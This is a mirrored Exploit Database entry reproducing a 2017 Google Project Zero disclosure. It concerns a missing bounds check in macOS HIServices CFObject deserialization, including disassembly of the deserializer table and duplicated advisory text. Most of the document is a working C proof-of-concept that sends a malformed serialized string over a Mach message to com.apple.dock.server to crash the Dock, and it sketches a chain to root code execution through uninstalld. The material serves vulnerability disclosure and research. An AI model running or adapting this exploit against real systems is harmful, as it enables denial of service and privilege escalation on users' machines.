Apple macOS – Lack of Bounds Checking in HIServices Custom CFObject Serialization Local Privilege Escalation

Exploit Database
117 阅读

作者： Google Security Research

日期： 2017-05-23
类别：
- dos
平台：
- macos
来源：https://www.exploit-db.com/exploits/42056/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that

to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize

__const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co

__const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ...

__const:0000000000053ED8 dq offset _cfNumberUnserialize

__const:0000000000053EE0 dq offset _cfBooleanUnserialize

__const:0000000000053EE8 dq offset _cfArrayUnserialize

__const:0000000000053EF0 dq offset _cfDictionaryUnserialize

__const:0000000000053EF8 dq offset _cfDataUnserialize

__const:0000000000053F00 dq offset _cfDateUnserialize

__const:0000000000053F08 dq offset _cfURLUnserialize

__const:0000000000053F10 dq offset _cfNullUnserialize

__const:0000000000053F18 dq offset _cfAttributedStringUnserialize

__const:0000000000053F20 dq offset _axElementUnserialize

__const:0000000000053F28 dq offset _axValueUnserialize

__const:0000000000053F30 dq offset _cgColorUnserialize

__const:0000000000053F38 dq offset _axTextMarkerUnserialize

__const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize

__const:0000000000053F48 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation

and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also

runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism

is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root

so by first exploiting this bug to gain code execution as the Dock process, we could

trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:

https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)

// ianbeer

#if 0

MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that

to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize

__const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co

__const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ...

__const:0000000000053ED8 dq offset _cfNumberUnserialize

__const:0000000000053EE0 dq offset _cfBooleanUnserialize

__const:0000000000053EE8 dq offset _cfArrayUnserialize

__const:0000000000053EF0 dq offset _cfDictionaryUnserialize

__const:0000000000053EF8 dq offset _cfDataUnserialize

__const:0000000000053F00 dq offset _cfDateUnserialize

__const:0000000000053F08 dq offset _cfURLUnserialize

__const:0000000000053F10 dq offset _cfNullUnserialize

__const:0000000000053F18 dq offset _cfAttributedStringUnserialize

__const:0000000000053F20 dq offset _axElementUnserialize

__const:0000000000053F28 dq offset _axValueUnserialize

__const:0000000000053F30 dq offset _cgColorUnserialize

__const:0000000000053F38 dq offset _axTextMarkerUnserialize

__const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize

__const:0000000000053F48 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation

and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also

runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism

is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root

so by first exploiting this bug to gain code execution as the Dock process, we could

trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:

https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)

#endif

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <mach/mach.h>

#include <mach/message.h>

#include <servers/bootstrap.h>

struct dock_msg {

mach_msg_header_t hdr;

mach_msg_body_t body;

mach_msg_ool_descriptor_t ool_desc;

uint8_t PAD[0xc];

uint32_t ool_size;

};

int main() {

kern_return_t err;

mach_port_t service_port;

err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port);

if (err != KERN_SUCCESS) {

printf(" [-] unable to lookup service");

exit(EXIT_FAILURE);

}

printf("got service port: %x\n", service_port);

uint32_t serialized_string[] =

{ 'abcd', // neither 'owen' or 'aela' -> bswap?

0x0,// type = cfStringUnserialize

0x41414141, // length

0x1,// contents

0x2,

0x3 };

struct dock_msg m = {0};

m.hdr.msgh_size = sizeof(struct dock_msg);

m.hdr.msgh_local_port = MACH_PORT_NULL;

m.hdr.msgh_remote_port = service_port;

m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);

m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;

m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem

m.ool_size = sizeof(serialized_string);

m.body.msgh_descriptor_count = 1;

m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;

m.ool_desc.address = serialized_string;

m.ool_desc.size = sizeof(serialized_string);

m.ool_desc.deallocate = 0;

m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY;

err = mach_msg(&m.hdr,

MACH_SEND_MSG,

m.hdr.msgh_size,

MACH_PORT_NULL,

MACH_MSG_TIMEOUT_NONE,

MACH_PORT_NULL);

if (err != KERN_SUCCESS) {

printf(" [-] mach_msg failed with error code:%x\n", err);

exit(EXIT_FAILURE);

}

printf(" [+] looks like that sent?\n");

return 0;

}